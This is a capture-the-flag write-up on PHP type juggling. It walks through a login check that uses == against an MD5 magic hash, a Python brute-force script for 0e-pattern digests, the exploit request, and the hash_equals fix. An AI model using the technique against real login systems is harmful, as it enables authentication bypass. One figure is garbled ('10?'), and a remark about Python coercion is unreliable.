247CTF // Zero Effort - PHP Loose Comparison on Hashes

247CTF // Zero Effort - PHP Loose Comparison on Hashes

Category: type juggling, crypto comparison

Stack: PHP, md5(), ==


STEPS
  1. Read the source: the comparison is == and the target hash starts 0e followed by only digits
  2. Recognize the magic-hash pattern - two 0e[digits] strings compare as 0.0 == 0.0 in PHP
  3. Brute-force offline: hash salt + candidate and keep any digest matching ^0e[0-9]+$
  4. Short passwords fall in seconds - a wordlist accelerates further
  5. Submit the winning password as ?password=... - the loose comparison does the rest

1. The target


$password_hash = "0e902564435691274142490923013038";

if (isset($_GET['password'])

    && md5($salt . $_GET['password']) == $password_hash) {

    echo $flag;

}

The stored hash begins 0e followed by nothing but digits. That prefix is the

entire challenge.

2. The juggling rule that matters

PHP's == between two strings first asks: are both numeric? If so, compare as

numbers. "0e12345" is numeric - scientific notation for 0 x 10^12345 = 0. So:


"0e918704785736777877278345014851" == "0e902564435691274142490923013038"

=> 0.0 == 0.0

=> true

Two completely different hashes, one equality. The class of strings matching this

pattern - ^0+e[0-9]+$ - are called magic hashes, and the passwords that

produce them are catalogued (240610708, QNKCDZO, s878926199a, ...) because

md5/sha1 of specific inputs land on the pattern.

Notice the salt doesn't save anything: it only changes *which* password you

brute-force. The vulnerability is the comparison, and it fires for any candidate

whose digest starts 0e + digits.

3. The attack

Offline, unthrottled, embarrassingly parallel:


import hashlib, itertools, string



salt = "<from source>"

magic = lambda h: h.startswith("0e") and h[2:].isdigit()



for length in range(1, 7):

    for pw in itertools.product(string.ascii_letters + string.digits, repeat=length):

        p = ''.join(pw)

        if magic(hashlib.md5((salt + p).encode()).hexdigest()):

            print(p); break

With a short salt, 0e digests appear roughly once per 10? candidates for a

uniformly-random hash - but md5 over sequential short strings finds one within

seconds-to-minutes in practice. Submit the winner:


GET /?password=<found>

No salt-guessing, no rainbow tables, no collision construction. The comparison

operator does all the work.

4. Why hash_equals is the only right answer

The fix has two independent parts, both required:


if (hash_equals($stored_hash, md5($salt . $_GET['password'])))

  • hash_equals is strict - string equality, no numeric coercion, so

"0e..." never equals anything but itself.

  • hash_equals is constant-time - == on two attacker-adjacent strings

short-circuits at the first differing byte, which is a timing oracle for

prefix-guessing on any non-random secret.

The deeper lesson: PHP's comparison matrix is a minefield that survived into 8.x

for BC reasons. Any comparison involving a secret, a token, or a hash belongs in

hash_equals or an equivalent strict, constant-time primitive - and the habit

extends beyond PHP: JavaScript's == coercion, Python's == between int and

str, and SQL's implicit casts all have juggle corners.

5. Hunting pattern

When a CTF source hands you a hash that starts 0e:

  1. 1. Check the comparison operator - == confirms the class instantly.
  2. 2. Brute-force the *pattern*, not the preimage: any digest 0e[0-9]+ wins.
  3. 3. If the candidate space is password-shaped, try the public magic-hash wordlist

first; John the Ripper also knows the pattern.

If the hash does *not* start 0e, the same class still lurks one level down:

Loose == against true, against 0, against null, and (in older PHP)

string-to-int coercion all produce "equal" where a strict comparison would not.

Comments

Popular Posts